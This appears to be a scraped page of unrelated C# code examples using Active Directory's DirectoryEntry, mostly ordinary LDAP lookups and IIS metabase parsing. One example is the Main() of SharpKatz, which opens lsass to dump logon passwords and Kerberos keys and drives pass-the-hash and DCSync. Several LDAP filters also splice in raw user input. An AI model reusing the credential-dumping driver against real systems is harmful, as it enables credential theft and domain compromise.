                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.Office = "";
                        }
                        //get Direct Report Info
                        userInfo.DirectsCount = (employeeEntryToGet.Properties["directreports"] != null) ? employeeEntryToGet.Properties["directreports"].Count : 0;
                        if (userInfo.DirectsCount > 0)
                        {
                            userInfo.Directs = new List <Person> {
                            };
                            for (int i = 0; i < userInfo.DirectsCount; i++)
                            {
                                var directreport = employeeEntryToGet.Properties["directreports"][i].ToString();
                                directreport = directreport.TrimEnd(',');
                                directreport = directreport.Replace("\\, ", ", ");
                                directreport = directreport.Split(',')[0];

                                ldap_searcher.Filter = "(&(objectCategory=person)(objectClass=user)(" + directreport + "*))";
                                ldap_searcher.PropertiesToLoad.Clear();
                                ldap_searcher.PropertiesToLoad.Add("sAMAccountName");
                                ldap_searcher.PropertiesToLoad.Add("cn");
                                SearchResult l_result_direct       = ldap_searcher.FindOne();
                                var          direct_FullName       = "";
                                var          direct_SamAccountName = "";
                                using (DirectoryEntry directEntryToGet = l_result_direct.GetDirectoryEntry())
                                {
                                    if (directEntryToGet.Properties["cn"] != null)
                                    {
                                        direct_FullName = directEntryToGet.Properties["cn"][0].ToString();
                                    }
                                    if (directEntryToGet.Properties["sAMAccountName"] != null)
                                    {
                                        direct_SamAccountName = directEntryToGet.Properties["sAMAccountName"][0].ToString();
                                    }
                                }
                                userInfo.Directs.Add(new Person
                                {
                                    SAMAccountName = direct_SamAccountName,
                                    FullName       = direct_FullName
                                });
                            }
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property directreports for: " + userInfo.SAMAccountName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.DirectsCount = 0;
                            userInfo.Directs      = null;
                        }
                        //get Distinguished Name
                        if (employeeEntryToGet.Properties.Contains("distinguishedName") && employeeEntryToGet.Properties["distinguishedName"] != null)
                        {
                            userInfo.DistinguishedName = employeeEntryToGet.Properties["distinguishedName"][0].ToString();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property distinguishedName for: " + userInfo.SAMAccountName + ": " + userInfo.DistinguishedName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.DistinguishedName = "";
                        }
                        //get manager and cleanup manager DN name
                        if (employeeEntryToGet.Properties.Contains("manager") && employeeEntryToGet.Properties["manager"] != null)
                        {
                            userInfo.ManagerDistinguishedName = employeeEntryToGet.Properties["manager"][0].ToString();

                            var managertofind = employeeEntryToGet.Properties["manager"][0].ToString();
                            managertofind = managertofind.TrimEnd(',');
                            managertofind = managertofind.Replace("\\, ", ", ");
                            managertofind = managertofind.Split(',')[0];

                            ldap_searcher.Filter = "(&(objectCategory=person)(objectClass=user)(" + managertofind + "*))";
                            ldap_searcher.PropertiesToLoad.Clear();
                            ldap_searcher.PropertiesToLoad.Add("sAMAccountName");
                            SearchResult l_result_manager = ldap_searcher.FindOne();

                            using (DirectoryEntry managerEntryToGet = l_result_manager.GetDirectoryEntry())
                            {
                                if (managerEntryToGet.Properties["sAMAccountName"] != null)
                                {
                                    userInfo.ManagerSamAccountName = managerEntryToGet.Properties["sAMAccountName"][0].ToString();
                                }
                                else
                                {
                                }
                                if (managerEntryToGet.Properties["cn"] != null)
                                {
                                    userInfo.ManagerName = managerEntryToGet.Properties["cn"][0].ToString();
                                }
                                else
                                {
                                    userInfo.ManagerName = null;
                                }
                            }

                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property manager for: " + userInfo.SAMAccountName + ": " + userInfo.ManagerDistinguishedName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            userInfo.ManagerName = "";
                            userInfo.ManagerDistinguishedName = "";
                            userInfo.ManagerSamAccountName    = "";
                        }
                        //get thumbnail photo
                        if (employeeEntryToGet.Properties.Contains("thumbnailPhoto") && employeeEntryToGet.Properties["thumbnailPhoto"] != null)
                        {
                            byte[] bb = (byte[])employeeEntryToGet.Properties["thumbnailPhoto"][0];
                            {
                                string base64String = Convert.ToBase64String(bb, 0, bb.Length);
                                userInfo.ThumbnailPhoto = "data:image/jpeg;base64," + base64String;
                            }
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property thumbnailPhoto for: " + userInfo.SAMAccountName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        else
                        {
                            // display default image if no thumbnail
                            userInfo.ThumbnailPhoto = "/Images/default-user-profile.png";
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property thumbnailPhoto for: " + userInfo.SAMAccountName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }

                        if (userGroupToFind != null)
                        {
                            userInfo.MemberOf = userGroupToFind.GetGroups().Select(r => r.Name).ToList();
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is retreiving property memberOf for: " + userInfo.SAMAccountName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                impersonationContext.Undo();
                log.Info("" + winId.Name + " has encountered an error: " + ex.Message + "");
            }
            finally
            {
                ldap_searcher.Dispose();
                ldapConnection.Dispose();
                winId.Dispose();
                principalCtx.Dispose();
                userGroupToFind.Dispose();
                if (impersonationContext != null)
                {
                    impersonationContext.Undo();
                    impersonationContext.Dispose();
                }
            }
            return(userInfo);
        }
        private void ReadSummaryInformation()
        {
            DirectoryEntry entry = this._dirRootEntry.GetChild('\x05' + "SummaryInformation");

            if (entry == null)
            {
                return;
            }

            Int64 entryStart = this.GetEntryOffset(entry);

            this._stream.Seek(entryStart + 24, SeekOrigin.Begin);
            UInt32 propertysCount = this._reader.ReadUInt32();
            UInt32 docSumamryStart = 0;

            for (Int32 i = 0; i < propertysCount; i++)
            {
                Byte[] clsid = this._reader.ReadBytes(16);
                if (clsid.Length == 16 &&
                    clsid[0] == 0xE0 && clsid[1] == 0x85 && clsid[2] == 0x9F && clsid[3] == 0xF2 &&
                    clsid[4] == 0xF9 && clsid[5] == 0x4F && clsid[6] == 0x68 && clsid[7] == 0x10 &&
                    clsid[8] == 0xAB && clsid[9] == 0x91 && clsid[10] == 0x08 && clsid[11] == 0x00 &&
                    clsid[12] == 0x2B && clsid[13] == 0x27 && clsid[14] == 0xB3 && clsid[15] == 0xD9)//如果是SummaryInformation
                {
                    docSumamryStart = this._reader.ReadUInt32();
                    break;
                }
                else
                {
                    //this._stream.Seek(4, SeekOrigin.Current);
                    return;
                }
            }

            if (docSumamryStart == 0)
            {
                return;
            }

            this._stream.Seek(entryStart + docSumamryStart, SeekOrigin.Begin);
            this._summaryInformation = new List<SummaryInformation>();
            UInt32 docSummarySize = this._reader.ReadUInt32();
            UInt32 docSummaryCount = this._reader.ReadUInt32();
            Int64 offsetMark = this._stream.Position;
            Int32 codePage = Encoding.Default.CodePage;

            for (Int32 i = 0; i < docSummaryCount; i++)
            {
                if (offsetMark >= this._stream.Length)
                {
                    break;
                }

                this._stream.Seek(offsetMark, SeekOrigin.Begin);
                UInt32 propertyID = this._reader.ReadUInt32();
                UInt32 properyOffset = this._reader.ReadUInt32();

                offsetMark = this._stream.Position;

                this._stream.Seek(entryStart + docSumamryStart + properyOffset, SeekOrigin.Begin);

                if (this._stream.Position > this._stream.Length)
                {
                    continue;
                }

                UInt32 propertyType = this._reader.ReadUInt32();
                SummaryInformation info = null;
                Byte[] data = null;

                if (propertyType == 0x1E)
                {
                    UInt32 strLen = this._reader.ReadUInt32();
                    data = this._reader.ReadBytes((Int32)strLen);
                    info = new SummaryInformation(propertyID, propertyType, codePage, data);
                }
                else if (propertyType == 0x40)
                {
                    data = this._reader.ReadBytes(8);
                    info = new SummaryInformation(propertyID, propertyType, data);
                }
                else
                {
                    data = this._reader.ReadBytes(4);
                    info = new SummaryInformation(propertyID, propertyType, data);

                    if (info.Type == SummaryInformationType.CodePage && info.Data != null)//如果找到CodePage的属性
                    {
                        codePage = (Int32)(UInt16)info.Data;
                    }
                }

                if (info.Data != null)
                {
                    this._summaryInformation.Add(info);
                }
            }
        }
        public static void ReadFromMetabase(ADMobileVirtualDirectory vdirObject, Task task)
        {
            MetabasePropertyTypes.AccessSSLFlags accessSSLFlags = MetabasePropertyTypes.AccessSSLFlags.AccessSSL | MetabasePropertyTypes.AccessSSLFlags.AccessSSLNegotiateCert | MetabasePropertyTypes.AccessSSLFlags.AccessSSLRequireCert;
            string metabasePath = vdirObject.MetabasePath;

            if (string.IsNullOrEmpty(metabasePath))
            {
                return;
            }
            MetabaseProperty[] array = null;
            using (DirectoryEntry directoryEntry = IisUtility.CreateIISDirectoryEntry(metabasePath))
            {
                array = IisUtility.GetProperties(directoryEntry);
            }
            uint num  = 0U;
            bool flag = false;

            foreach (MetabaseProperty metabaseProperty in array)
            {
                if (string.Equals(metabaseProperty.Name, "AuthFlags", StringComparison.OrdinalIgnoreCase))
                {
                    object value = metabaseProperty.Value;
                    if (value != null)
                    {
                        MetabasePropertyTypes.AuthFlags authFlags = (MetabasePropertyTypes.AuthFlags)((int)value);
                        vdirObject.BasicAuthEnabled   = ((authFlags & MetabasePropertyTypes.AuthFlags.Basic) == MetabasePropertyTypes.AuthFlags.Basic);
                        vdirObject.WindowsAuthEnabled = ((authFlags & MetabasePropertyTypes.AuthFlags.Ntlm) == MetabasePropertyTypes.AuthFlags.Ntlm);
                    }
                    num += 1U;
                }
                else if (string.Equals(metabaseProperty.Name, "DoDynamicCompression", StringComparison.OrdinalIgnoreCase))
                {
                    object value2 = metabaseProperty.Value;
                    if (value2 != null)
                    {
                        vdirObject.CompressionEnabled = (bool)value2;
                    }
                    num += 1U;
                }
                else if (string.Equals(metabaseProperty.Name, "AccessSSLFlags", StringComparison.OrdinalIgnoreCase))
                {
                    int?num2 = (int?)metabaseProperty.Value;
                    if (num2 != null)
                    {
                        if ((num2.Value & (int)accessSSLFlags) == (int)accessSSLFlags)
                        {
                            vdirObject.ClientCertAuth = new ClientCertAuthTypes?(ClientCertAuthTypes.Required);
                        }
                        else if ((num2.Value & 32) == 32)
                        {
                            vdirObject.ClientCertAuth = new ClientCertAuthTypes?(ClientCertAuthTypes.Accepted);
                        }
                        else
                        {
                            vdirObject.ClientCertAuth = new ClientCertAuthTypes?(ClientCertAuthTypes.Ignore);
                        }
                        if ((num2.Value & 8) == 8)
                        {
                            vdirObject.WebSiteSSLEnabled = true;
                        }
                        else
                        {
                            vdirObject.WebSiteSSLEnabled = false;
                        }
                    }
                    else
                    {
                        vdirObject.ClientCertAuth    = new ClientCertAuthTypes?(ClientCertAuthTypes.Ignore);
                        vdirObject.WebSiteSSLEnabled = false;
                    }
                    flag = true;
                    num += 1U;
                }
                else if (string.Equals(metabaseProperty.Name, "AppFriendlyName", StringComparison.OrdinalIgnoreCase))
                {
                    object value3 = metabaseProperty.Value;
                    if (value3 != null)
                    {
                        vdirObject.VirtualDirectoryName = (string)value3;
                    }
                    num += 1U;
                }
                else if (num == 4U)
                {
                    break;
                }
            }
            if (!flag)
            {
                int    startIndex            = metabasePath.LastIndexOf('/');
                string iisDirectoryEntryPath = metabasePath.Remove(startIndex);
                using (DirectoryEntry directoryEntry2 = IisUtility.CreateIISDirectoryEntry(iisDirectoryEntryPath))
                {
                    int?num3 = (int?)directoryEntry2.Properties["AccessSSLFlags"].Value;
                    if (num3 != null)
                    {
                        if ((num3.Value & (int)accessSSLFlags) == (int)accessSSLFlags)
                        {
                            vdirObject.ClientCertAuth = new ClientCertAuthTypes?(ClientCertAuthTypes.Required);
                        }
                        else if ((num3.Value & 32) == 32)
                        {
                            vdirObject.ClientCertAuth = new ClientCertAuthTypes?(ClientCertAuthTypes.Accepted);
                        }
                        else
                        {
                            vdirObject.ClientCertAuth = new ClientCertAuthTypes?(ClientCertAuthTypes.Ignore);
                        }
                        if ((num3.Value & 8) == 8)
                        {
                            vdirObject.WebSiteSSLEnabled = true;
                        }
                        else
                        {
                            vdirObject.WebSiteSSLEnabled = false;
                        }
                    }
                    else
                    {
                        vdirObject.ClientCertAuth    = new ClientCertAuthTypes?(ClientCertAuthTypes.Ignore);
                        vdirObject.WebSiteSSLEnabled = false;
                    }
                }
            }
            char[] separator = new char[]
            {
                '/'
            };
            string[] array3 = metabasePath.Split(separator);
            int      num4   = array3.Length - 2;

            if (num4 <= 0)
            {
                return;
            }
            StringBuilder stringBuilder = new StringBuilder(47);

            for (int j = 0; j < num4; j++)
            {
                stringBuilder.Append(array3[j]);
                if (j < num4 - 1)
                {
                    stringBuilder.Append('/');
                }
            }
            using (DirectoryEntry directoryEntry3 = IisUtility.CreateIISDirectoryEntry(stringBuilder.ToString()))
            {
                array = IisUtility.GetProperties(directoryEntry3);
            }
            MetabaseProperty[] array4 = array;
            int k = 0;

            while (k < array4.Length)
            {
                MetabaseProperty metabaseProperty2 = array4[k];
                if (string.Compare(metabaseProperty2.Name, "ServerComment", true) == 0)
                {
                    object value4 = metabaseProperty2.Value;
                    if (value4 != null)
                    {
                        vdirObject.WebsiteName = (string)value4;
                        break;
                    }
                    break;
                }
                else
                {
                    k++;
                }
            }
            vdirObject.InitProxyVDirDataObject();
            ExtendedProtection.LoadFromMetabase(vdirObject, task);
        }
Ejemplo n.º 44
0
        /// <summary>
        /// Get members in specified group
        /// </summary>
        /// <param name="groupFullName"></param>
        /// <returns></returns>

        public static List <string> GetGroupMembers(
            string groupFullName)
        {
            SearchResult searchResults = null;
            Boolean      isLastQuery   = false;
            Boolean      exitLoop      = false;
            Int32        rangeStep     = 1500;
            Int32        rangeLow      = 0;
            Int32        rangeHigh     = rangeLow + (rangeStep - 1);
            String       attributeWithRange;

            DateTime t0 = DateTime.Now;

            GroupPrincipal gp = GetSecurityGroupPrincipal(groupFullName);

            if (gp == null)
            {
                throw new Exception("Security Group not found: " + groupFullName);                         // shouldn't happen
            }
            if (Debug)
            {
                DebugLog.Message("GetSecurityGroupPrincipal " + groupFullName + ": " + (int)TimeOfDay.Delta(ref t0));
            }

            string            path        = "LDAP://" + gp.DistinguishedName;
            DirectoryEntry    groupDe     = new DirectoryEntry(path);
            DirectorySearcher groupSearch = new DirectorySearcher(groupDe);

            groupSearch.Filter = "(objectClass=*)";

            int           memberCount = 0;
            List <string> members     = new List <string>();

            do
            {
                if (!isLastQuery)
                {
                    attributeWithRange = String.Format("member;range={0}-{1}", rangeLow, rangeHigh);
                }
                else
                {
                    attributeWithRange = String.Format("member;range={0}-*", rangeLow);
                }

                groupSearch.PropertiesToLoad.Clear();
                groupSearch.PropertiesToLoad.Add(attributeWithRange);

                searchResults = groupSearch.FindOne();
                groupSearch.Dispose();

                if (searchResults.Properties.Contains(attributeWithRange))
                {
                    memberCount += searchResults.Properties.Count;
                    ResultPropertyValueCollection p = searchResults.Properties[attributeWithRange];
                    IEnumerator en = p.GetEnumerator();

                    while (en.MoveNext())
                    {
                        if (en.Current != null)
                        {
                            string valString = en.Current.ToString();
                            members.Add(valString);
                        }
                    }

                    if (isLastQuery)
                    {
                        exitLoop = true;
                    }
                }

                else
                {
                    isLastQuery = true;
                }

                if (!isLastQuery)
                {
                    rangeLow  = rangeHigh + 1;
                    rangeHigh = rangeLow + (rangeStep - 1);
                }
            }while (!exitLoop);

            //StringBuilder sb = new StringBuilder();
            //foreach (object o in members)
            //{
            //  if (sb.Length > 0) sb.Append("\r\n");
            //  sb.Append(o.ToString());
            //}

            return(members);
        }
Ejemplo n.º 45
0
        public List <Person> GetPeople(string inputUserSearch)
        {
            string[]                    userstofind          = inputUserSearch.Split(';').Select(sValue => sValue.Trim()).ToArray();
            Person                      uInfo                = new Person();
            DirectoryEntry              ldapConnection       = createDirectoryEntry();
            DirectorySearcher           ldap_searcher        = new DirectorySearcher(ldapConnection);
            WindowsIdentity             winId                = (WindowsIdentity)HttpContext.Current.User.Identity;
            WindowsImpersonationContext impersonationContext = null;
            var UserList = new List <Person>();

            try
            {
                foreach (string user in userstofind)
                {
                    if (!string.IsNullOrEmpty(user))
                    {
                        log.Info("" + winId.Name + " is searching for: " + user + "");
                        impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        string filter = "(&(anr=" + user + "*)(samAccountType=805306368)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
                        //properties to get
                        ldap_searcher.PropertiesToLoad.Clear();
                        ldap_searcher.PropertiesToLoad.Add("sAMAccountName");
                        ldap_searcher.PropertiesToLoad.Add("title");
                        ldap_searcher.PropertiesToLoad.Add("cn");
                        ldap_searcher.PropertiesToLoad.Add("department");
                        ldap_searcher.PropertiesToLoad.Add("distinguishedName");
                        ldap_searcher.PropertiesToLoad.Add("mail");
                        ldap_searcher.PropertiesToLoad.Add("thumbnailPhoto");
                        ldap_searcher.PropertiesToLoad.Add("physicalDeliveryOfficeName");
                        ldap_searcher.Filter = filter;
                        //create search collection
                        SearchResultCollection allemployee_results = ldap_searcher.FindAll();
                        if (allemployee_results.Count == 0)
                        {
                            filter = "(&(sAMAccountName=" + user + "*)(samAccountType=805306368)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
                            if (inputUserSearch.Contains("@"))
                            {
                                string convertToUsername = user.Split('@')[0];
                                filter = "(&(sAMAccountName=" + convertToUsername + "*)(samAccountType=805306368)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
                            }
                            ldap_searcher.Filter = filter;
                            //find users
                            allemployee_results = ldap_searcher.FindAll();
                        }
                        if (allemployee_results.Count > 0)
                        {
                            foreach (SearchResult employeeEntryToGet in allemployee_results)
                            {
                                //get sAMAccountName
                                if (employeeEntryToGet.Properties.Contains("sAMAccountName") && employeeEntryToGet.Properties["sAMAccountName"] != null)
                                {
                                    uInfo.SAMAccountName = employeeEntryToGet.Properties["sAMAccountName"][0].ToString();
                                }
                                else
                                {
                                    uInfo.SAMAccountName = "";
                                }
                                //get Full Name
                                if (employeeEntryToGet.Properties.Contains("cn") && employeeEntryToGet.Properties["cn"] != null)
                                {
                                    uInfo.FullName = employeeEntryToGet.Properties["cn"][0].ToString();
                                }
                                else
                                {
                                    uInfo.FullName = "";
                                }
                                //get Title
                                if (employeeEntryToGet.Properties.Contains("title") && employeeEntryToGet.Properties["title"] != null)
                                {
                                    uInfo.Title = employeeEntryToGet.Properties["title"][0].ToString();
                                }
                                else
                                {
                                    uInfo.Title = "";
                                }
                                //get Departament
                                if (employeeEntryToGet.Properties.Contains("department") && employeeEntryToGet.Properties["department"] != null)
                                {
                                    uInfo.Department = employeeEntryToGet.Properties["department"][0].ToString();
                                }
                                else
                                {
                                    uInfo.Department = "";
                                }
                                //get Email
                                if (employeeEntryToGet.Properties.Contains("mail") && employeeEntryToGet.Properties["mail"] != null)
                                {
                                    uInfo.EmailAddress = employeeEntryToGet.Properties["mail"][0].ToString();
                                }
                                else
                                {
                                    uInfo.EmailAddress = "";
                                }
                                //get Office
                                if (employeeEntryToGet.Properties.Contains("physicalDeliveryOfficeName") && employeeEntryToGet.Properties["physicalDeliveryOfficeName"] != null)
                                {
                                    uInfo.Office = employeeEntryToGet.Properties["physicalDeliveryOfficeName"][0].ToString();
                                }
                                else
                                {
                                    uInfo.Office = "";
                                }
                                //get photo
                                if (employeeEntryToGet.Properties.Contains("thumbnailPhoto") && employeeEntryToGet.Properties["thumbnailPhoto"] != null)
                                {
                                    uInfo.HasPhoto = "Yes";
                                }
                                else
                                {
                                    uInfo.HasPhoto = "No";
                                }

                                //get Distinguished Name
                                if (employeeEntryToGet.Properties.Contains("distinguishedName") && employeeEntryToGet.Properties["distinguishedName"] != null)
                                {
                                    uInfo.DistinguishedName = employeeEntryToGet.Properties["distinguishedName"][0].ToString();
                                }
                                else
                                {
                                    uInfo.DistinguishedName = "";
                                }
                                //add user to list
                                UserList.Add(new Person
                                {
                                    SAMAccountName    = uInfo.SAMAccountName,
                                    Title             = uInfo.Title,
                                    Department        = uInfo.Department,
                                    EmailAddress      = uInfo.EmailAddress,
                                    Office            = uInfo.Office,
                                    DistinguishedName = uInfo.DistinguishedName,
                                    FullName          = uInfo.FullName,
                                    HasPhoto          = uInfo.HasPhoto
                                });
                            }
                        }
                    }
                }
                UserList = UserList.OrderBy(newlist => newlist.SAMAccountName).ToList();
            }
            catch (Exception ex)
            {
                log.Info("" + winId.Name + " has encountered an error: " + ex.Message + "");
            }
            finally
            {
                ldap_searcher.Dispose();
                ldapConnection.Dispose();
                winId.Dispose();
                if (impersonationContext != null)
                {
                    impersonationContext.Undo();
                    impersonationContext.Dispose();
                }
            }
            return(UserList);
        }
Ejemplo n.º 46
0
 public DirectoryEnumerateEntriesHandler([NotNull] DirectoryEntry root)
     : base(root)
 {
 }
Ejemplo n.º 47
0
        public static void Main(string[] args)
        {
            string command        = null;
            string user           = null;
            string guid           = null;
            string altservice     = null;
            string domain         = null;
            string dc             = null;
            string ntlmHash       = null;
            string aes128         = null;
            string aes256         = null;
            string rc4            = null;
            string binary         = null;
            string arguments      = null;
            string luid           = null;
            string impersonateStr = null;

            bool showhelp = false;

            OptionSet opts = new OptionSet()
            {
                { "Command=", "--Command logonpasswords,ekeys,msv,kerberos,tspkg,credman,wdigest,dcsync", v => command = v },
                { "User="******"--User [user]", v => user = v },
                { "Guid=", "--Guid [guid]", v => guid = v },
                { "Domain=", "--Domain [domain]", v => domain = v },
                { "DomainController=", "--DomainController [domaincontroller]", v => dc = v },

                { "NtlmHash=", "--NtlmHash [ntlmHash]", v => ntlmHash = v },
                { "Aes128=", "--Aes128 [aes128]", v => aes128 = v },
                { "Aes256=", "--Aes256 [aes256]", v => aes256 = v },
                { "Rc4=", "--Rc4 [rc4]", v => rc4 = v },
                { "Binary=", "--Binary [binary]", v => binary = v },
                { "Arguments=", "--Arguments [arguments]", v => arguments = v },
                { "Luid=", "--Luid [luid]", v => luid = v },
                { "Impersonate=", "--Impersonate [impersonate]", v => impersonateStr = v },

                { "Altservice=", "--Altservice [alternative service]", v => altservice = v },
                { "h|?|help", "Show available options", v => showhelp = v != null },
            };

            try
            {
                opts.Parse(args);
            }
            catch (OptionException e)
            {
                Console.WriteLine(e.Message);
            }

            bool impersonate = false;

            try
            {
                if (!string.IsNullOrEmpty(impersonateStr))
                {
                    impersonate = bool.Parse(impersonateStr);
                }
            }
            catch (OptionException e)
            {
                Console.WriteLine(e.Message);
            }

            if (showhelp)
            {
                opts.WriteOptionDescriptions(Console.Out);
                Console.WriteLine();
                Console.WriteLine("[*] Example: SharpKatz.exe --Command logonpasswords");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command ekeys");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command msv");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command kerberos");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command tspkg");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command credman");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command wdigest");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command dcsync --User user --Domain userdomain --DomainController dc");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command dcsync --Guid guid --Domain userdomain --DomainController dc");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command dcsync --Domain userdomain --DomainController dc");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command pth --User username --Domain userdomain --NtlmHash ntlmhash");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command pth --User username --Domain userdomain --Rc4 rc4key");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command pth --Luid luid --NtlmHash ntlmhash");
                Console.WriteLine("[*] Example: SharpKatz.exe --Command pth --User username --Domain userdomain --NtlmHash ntlmhash --aes128 aes256");
                return;
            }

            if (string.IsNullOrEmpty(command))
            {
                command = "logonpasswords";
            }

            if (!command.Equals("logonpasswords") && !command.Equals("msv") && !command.Equals("kerberos") && !command.Equals("credman") &&
                !command.Equals("tspkg") && !command.Equals("wdigest") && !command.Equals("ekeys") && !command.Equals("dcsync") && !command.Equals("pth"))
            {
                Console.WriteLine("Unknown command");
                return;
            }

            if (IntPtr.Size != 8)
            {
                Console.WriteLine("Windows 32bit not supported");
                return;
            }

            OSVersionHelper osHelper = new OSVersionHelper();

            osHelper.PrintOSVersion();

            if (osHelper.build <= 9600)
            {
                Console.WriteLine("Unsupported OS Version");
                return;
            }

            if (!command.Equals("dcsync"))
            {
                if (!Utility.IsElevated())
                {
                    Console.WriteLine("Run in High integrity context");
                    return;
                }

                Utility.SetDebugPrivilege();

                IntPtr  lsasrv    = IntPtr.Zero;
                IntPtr  wdigest   = IntPtr.Zero;
                IntPtr  lsassmsv1 = IntPtr.Zero;
                IntPtr  kerberos  = IntPtr.Zero;
                IntPtr  tspkg     = IntPtr.Zero;
                IntPtr  lsasslive = IntPtr.Zero;
                IntPtr  hProcess  = IntPtr.Zero;
                Process plsass    = Process.GetProcessesByName("lsass")[0];

                ProcessModuleCollection processModules = plsass.Modules;
                int modulefound = 0;

                for (int i = 0; i < processModules.Count && modulefound < 5; i++)
                {
                    string lower = processModules[i].ModuleName.ToLowerInvariant();

                    if (lower.Contains("lsasrv.dll"))
                    {
                        lsasrv = processModules[i].BaseAddress;
                        modulefound++;
                    }
                    else if (lower.Contains("wdigest.dll"))
                    {
                        wdigest = processModules[i].BaseAddress;
                        modulefound++;
                    }
                    else if (lower.Contains("msv1_0.dll"))
                    {
                        lsassmsv1 = processModules[i].BaseAddress;
                        modulefound++;
                    }
                    else if (lower.Contains("kerberos.dll"))
                    {
                        kerberos = processModules[i].BaseAddress;
                        modulefound++;
                    }
                    else if (lower.Contains("tspkg.dll"))
                    {
                        tspkg = processModules[i].BaseAddress;
                        modulefound++;
                    }
                }

                hProcess = Natives.OpenProcess(Natives.ProcessAccessFlags.All, false, plsass.Id);

                Keys keys = new Keys(hProcess, lsasrv, osHelper);

                if (command.Equals("pth"))
                {
                    if (string.IsNullOrEmpty(binary))
                    {
                        binary = "cmd.exe";
                    }

                    Module.Pth.CreateProcess(hProcess, lsasrv, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), user, domain, ntlmHash, aes128, aes256, rc4, binary, arguments, luid, impersonate);
                }
                else
                {
                    List <Logon> logonlist = new List <Logon>();

                    Module.LogonSessions.FindCredentials(hProcess, lsasrv, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);

                    if (command.Equals("logonpasswords") || command.Equals("msv"))
                    {
                        Module.Msv1.FindCredentials(hProcess, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);
                    }

                    if (command.Equals("logonpasswords") || command.Equals("credman"))
                    {
                        Module.CredMan.FindCredentials(hProcess, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);
                    }

                    if (command.Equals("logonpasswords") || command.Equals("tspkg"))
                    {
                        Module.Tspkg.FindCredentials(hProcess, tspkg, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);
                    }

                    if (command.Equals("logonpasswords") || command.Equals("kerberos") || command.Equals("ekeys"))
                    {
                        List <KerberosLogonItem> klogonlist = Module.Kerberos.FindCredentials(hProcess, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);

                        if (command.Equals("logonpasswords") || command.Equals("kerberos"))
                        {
                            foreach (KerberosLogonItem l in klogonlist)
                            {
                                Module.Kerberos.GetCredentials(ref hProcess, l.LogonSessionBytes, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);
                            }
                        }

                        if (command.Equals("ekeys"))
                        {
                            foreach (KerberosLogonItem l in klogonlist)
                            {
                                Module.Kerberos.GetKerberosKeys(ref hProcess, l.LogonSessionBytes, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);
                            }
                        }
                    }

                    if (command.Equals("logonpasswords") || command.Equals("wdigest"))
                    {
                        Module.WDigest.FindCredentials(hProcess, wdigest, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist);
                    }

                    Utility.PrintLogonList(logonlist);
                }
            }
            else
            {
                if (string.IsNullOrEmpty(domain))
                {
                    domain = Environment.GetEnvironmentVariable("USERDNSDOMAIN");
                }
                Console.WriteLine("[!] {0} will be the domain", domain);
                if (string.IsNullOrEmpty(dc))
                {
                    using (DirectoryEntry rootdse = new DirectoryEntry("LDAP://RootDSE"))
                        dc = (string)rootdse.Properties["dnshostname"].Value;
                }
                Console.WriteLine("[!] {0} will be the DC server", dc);
                string alt_service = "ldap";
                if (!string.IsNullOrEmpty(altservice))
                {
                    alt_service = altservice;
                }


                if (!string.IsNullOrEmpty(guid))
                {
                    Console.WriteLine("[!] {0} will be the Guid", guid);
                    Module.DCSync.FinCredential(domain, dc, guid: guid, altservice: alt_service);
                }
                else if (!string.IsNullOrEmpty(user))
                {
                    Console.WriteLine("[!] {0} will be the user account", user);
                    Module.DCSync.FinCredential(domain, dc, user: user, altservice: alt_service);
                }
                else
                {
                    Module.DCSync.FinCredential(domain, dc, altservice: alt_service, alldata: true);
                }
            }
        }
Ejemplo n.º 48
0
 private static object ReadProperty(DirectoryEntry directoryEntry, string propertyName)
 {
     return(directoryEntry.Properties[propertyName].Value);
 }
 public DirectoryEntryObject(DirectoryEntry de, bool loadSchema, bool getAccessRules, bool getObjectProperties, bool getParent = true)
 {
     SetPropertiesFromDirectoryEntry(de, loadSchema, getAccessRules, getObjectProperties, getParent);
     DistinguishedName = de.Properties["distinguishedName"].Value.ToString();
 }
Ejemplo n.º 50
0
